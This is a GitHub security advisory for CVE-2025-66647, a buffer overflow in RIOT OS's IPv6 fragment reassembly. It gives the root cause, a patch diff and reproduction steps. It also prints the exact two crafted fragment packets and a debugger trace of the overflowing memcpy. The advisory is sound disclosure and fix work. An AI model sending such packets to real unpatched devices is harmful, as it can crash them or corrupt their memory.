Skip to content

buffer overflow in gnrc_ipv6_ext_frag_reass

Moderate
Teufelchen1 published GHSA-wh3v-q6vr-j79r Dec 17, 2025

Package

RIOT-OS (RIOT-OS)

Affected versions

<=2025.07

Patched versions

>=2025.10

Description

Reported and written by Nils Bernsdorf. Slightly edited by @Teufelchen1 on GitHub import.

Summary

A vulnerability was discovered in the IPv6 fragmentation reassembly implementation of RIOT OS v2025.07.
When copying the contents of the first fragment (offset=0) into the reassembly buffer, no size check is performed.
It is possible to force the creation of a small reassembly buffer by first sending a shorter fragment (also with offset=0).
Overflowing the reassembly buffer corrupts the state of other packet buffers which an attacker might be able to used to achieve further memory corruption (potentially resulting in remote code execution).
To trigger the vulnerability, the gnrc_ipv6_ext_frag module must be included and the attacker must be able to send arbitrary IPv6 packets to the victim.

Description

A vulnerability was found in the gnrc_ipv6_ext_frag_reass function (source).
To trigger the vulnerability, an attacker must send two IPv6 packets that each have a fragmentation header with the same fragment id and the offset field set to 0.
Additionally, the second packet has to be larger than the first packet.

When the first packet is processed by gnrc_ipv6_ext_frag_reass, the implementation detects that no reassembly buffer has been allocated yet (source).
Therefore, the fragmentation header is removed from the packet and the remaining part of the packet buffer is used for reassembly (source).
Note that since the first packet is small, the reassembly buffer will also be small.
Once the second (larger) packet is received, the implementation detects that a reassembly buffer is now present and attempts to copy the fragment's payload into the start (since offset=0) of the reassembly buffer using memcpy.
For fragments with offset>0, a bounds check is present (see here) that potentially reallocates the buffer before copying, but this check seems to have been forgotten for the handling of fragments with offset 0.
Therefore the memcpy overflows the reassembly buffer.

Impact

By overflowing the reassembly buffer, the attacker is able to corrupt the metadata and data of other packet buffers that are located behind the reassembly buffer in memory.
In many cases this quickly causes the OS to crash (DoS).
However, by carefully manipulating the metadata (such as the data pointer) of other packet buffers, the attacker might also be able overwrite arbitrary memory without crashing (potentially leading to remote code execution).

To trigger the vulnerability, the gnrc_ipv6_ext_frag module must be enabled and the attacker must be able to send arbitrary IPv6 packets to the victim.

Proposed Fix

To fix this vulnerability, we propose adding a bounds check before the memcpy in gnrc_ipv6_ext_frag_reass (source).
Note that this bounds check should be performed rather early, to prevent updating rbuf->pkt_len for invalid fragments.

diff --git a/sys/net/gnrc/network_layer/ipv6/ext/frag/gnrc_ipv6_ext_frag.c b/sys/net/gnrc/network_layer/ipv6/ext/frag/gnrc_ipv6_ext_frag.c
index c57407729e..deafa0826e 100644
--- a/sys/net/gnrc/network_layer/ipv6/ext/frag/gnrc_ipv6_ext_frag.c
+++ b/sys/net/gnrc/network_layer/ipv6/ext/frag/gnrc_ipv6_ext_frag.c
@@ -524,6 +524,11 @@ gnrc_pktsnip_t *gnrc_ipv6_ext_frag_reass(gnrc_pktsnip_t *pkt)
             DEBUG("ipv6_ext_frag: fragment length not divisible by 8");
             goto error_exit;
         }
+        else if (rbuf->pkt != NULL && rbuf->pkt->size < pkt->size) {
+            DEBUG("ipv6_ext_frag: reassembly buffer too small to fit first "
+                  "fragment\n");
+            goto error_exit;
+        }
         _set_nh(fh_snip->next, nh);
         gnrc_pktbuf_remove_snip(pkt, fh_snip);
         /* TODO: RFC 8200 says "- 8"; determine if `sizeof(ipv6_ext_frag_t)` is

Reproducer

reproducer_2.zip

I have provided an example application and an exploit script to reproduce this bug in reproducer/.
The example application only enables the gnrc_ipv6_ext_frag module and can be built using the following command:

cd reproducer/
make RIOTBASE=<path_to_riot_repo> BUILD_IN_DOCKER=1

To start the application, use the following commands:

# create a tap interface
sudo ip tuntap add tap0 mode tap user ${USER}
sudo ip link set tap0 up

# start the compiled binary
./bin/native64/reproducer.elf -w tap0

You can then run the exploit.py script to send the required packets over the tap interface.
As a first command line option, this script requires the IPv6 address which was printed by the reproducer.
Note: You might have to execute the script with sudo -E as sending over a tap interface requires elevated privileges.

Since the buffer overflow only corrupts the state of the packet buffers, it might take a few seconds before the reproducer binary crashes (or in some cases it might not crash at all).

To verify that the buffer overflow occurs, I executed the binary in gdb and set a breakpoint at the memcpy:

   0x407fb1 <gnrc_ipv6_ext_frag_reass+613>    test   rax, rax
   0x407fb4 <gnrc_ipv6_ext_frag_reass+616>    je     gnrc_ipv6_ext_frag_reass+834                      <gnrc_ipv6_ext_frag_reass+834>
 
   0x407fba <gnrc_ipv6_ext_frag_reass+622>    mov    rsi, qword ptr [rbx + 8]
   0x407fbe <gnrc_ipv6_ext_frag_reass+626>    mov    rdi, qword ptr [rax + 8]
   0x407fc2 <gnrc_ipv6_ext_frag_reass+630>    mov    rdx, qword ptr [rbx + 0x10]
 ► 0x407fc6 <gnrc_ipv6_ext_frag_reass+634>    call   memcpy@plt                      <memcpy@plt>
        dest: 0x430310 (_static_buf+352) ◂— 'AAAAAAAAAAAAAAAA`'
        src: 0x430350 (_static_buf+416) ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
        n: 0x78
 
   0x407fcb <gnrc_ipv6_ext_frag_reass+639>    mov    rax, qword ptr [rbp]
   0x407fcf <gnrc_ipv6_ext_frag_reass+643>    mov    rdx, qword ptr [rbx]
   0x407fd2 <gnrc_ipv6_ext_frag_reass+646>    mov    qword ptr [rax], rdx
   0x407fd5 <gnrc_ipv6_ext_frag_reass+649>    mov    rax, qword ptr [rbp]
   0x407fd9 <gnrc_ipv6_ext_frag_reass+653>    mov    edx, dword ptr [rbx + 0x18]

memcpy is called with a size of 0x78, however the rbuf->pkt buffer in the rax register that is used as a destination is only 16 bytes long:

pwndbg> p *(gnrc_pktsnip_t*) $rax
$2 = {
  next = 0x430210 <_static_buf+96>,
  data = 0x430310 <_static_buf+352>,
  size = 16,
  type = GNRC_NETTYPE_UNDEF,
  users = 1 '\001'
}

For reference, I have also included the exact packets sent by my exploit script below:

###[ IPv6 ]###
  version   = 6
  tc        = 0
  fl        = 0
  plen      = 24
  nh        = Fragment Header
  hlim      = 64
  src       = fe80::140a:4eff:feca:b6a7
  dst       = ScopedIP('fe80::140a:4eff:feca:b6a8', scope='tap0')
###[ IPv6 Extension Header - Fragmentation header ]###
     nh        = Hop-by-Hop Option Header
     res1      = 0
     offset    = 0
     res2      = 0
     m         = 1
     id        = 43981
###[ Raw ]###
        load      = b'AAAAAAAAAAAAAAAA'


###[ IPv6 ]###
  version   = 6
  tc        = 0
  fl        = 0
  plen      = 128
  nh        = Fragment Header
  hlim      = 64
  src       = fe80::140a:4eff:feca:b6a7
  dst       = ScopedIP('fe80::140a:4eff:feca:b6a8', scope='tap0')
###[ IPv6 Extension Header - Fragmentation header ]###
     nh        = Hop-by-Hop Option Header
     res1      = 0
     offset    = 0
     res2      = 0
     m         = 1
     id        = 43981
###[ Raw ]###
        load      = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

Severity

Moderate

CVE ID

CVE-2025-66647

Weaknesses

Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer. Learn more on MITRE.

Credits